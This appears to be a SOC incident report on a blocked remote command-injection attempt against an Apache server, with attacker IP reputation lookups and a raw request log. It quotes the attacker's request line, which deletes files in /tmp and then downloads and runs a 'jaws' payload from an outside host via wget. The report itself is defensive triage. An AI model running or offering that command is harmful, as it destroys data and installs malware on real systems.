The Summary:
- Remote Command Execution

Splunk Incident ID: `ba561a54-a4ce-4d07-97b5-73f46d29c124`

Description
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell
Encoded log: -`GET /shell?cd+/tmp;rm+-rf+*;wget+121.62.21.23/jaws;sh+/tmp/jaws`
Decoded log: -GET /shell?cd /tmp;rm -rf *;wget 121.62.21.23/jaws;sh /tmp/jaws
Attacker Info: **Korea, Republic of**, irt@nic.or.kr
IP: 1.224.49.15(1.224.48.0/20)
User Agent: -none
Browser Name: - none
Browser Version: - none
OS: -none
Analyst Investigation Results: use more than 35 vulnerability .there is some of last vulnerability that use**(CVE-2023-3817, CVE-2023-2650, CVE-2023-0466, CVE-2023-0465, CVE-2023-0464, CVE-2023-0464, CVE-2023-0286, CVE-2023-0215)**
[here|https://www.shodan.io/host/1.224.49.15]

Virus Total Result: [here|https://www.virustotal.com/gui/ip-address/1.224.49.15/details]
Brief Community Comments: -none
Security Vendors' Analysis from Virus Total: 5 security vendors flagged this IP address as malicious
Talos Intelligence:
[here|https://talosintelligence.com/reputation_center/lookup?search=1.224.49.15]

REPUTATION DETAILS
IP Reputation: **Poor**
Web Reputation: **Untrusted**
BLOCK LISTS:
BL.SPAMCOP.NET: **Not Listed**
CBL.ABUSEAT.ORG: Not **Listed**
PBL.SPAMHAUS.ORG: **Not Listed**
SBL.SPAMHAUS.ORG: **Not Listed**
Shodan Result: [here|https://www.shodan.io/host/1.224.49.15]

Open Ports: -21 443 8800 9000
Virus Total Result -2 (Payload invetigate
result: -none

Brief Community Comments: -none
Security Vendors' Analysis from Virus Total: 5 security vendors flagged this IP address as malicious .
Comments : -none
Victim: 38.242.128.144
(Ubuntu) Server 127.0.0.1
Raw Data:

```
[15/Sep/2023:03:04:38 +0200] ZQOtpsHtKdkQTAWAftpcpgAAAAU 1.224.49.15 56212
38.242.128.144 80
--68e01573-B--
GET /shell?cd+/tmp;rm+-rf+*;wget+121.62.21.23/jaws;sh+/tmp/jaws HTTP/1.1
User-Agent: Hello, world
Host: 127.0.0.1:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
--68e01573-F--
HTTP/1.1 403 Forbidden
Content-Length: 274
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
--68e01573-E--
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>
```

Action
The results was **403 Forbidden**, so no need for an extra action.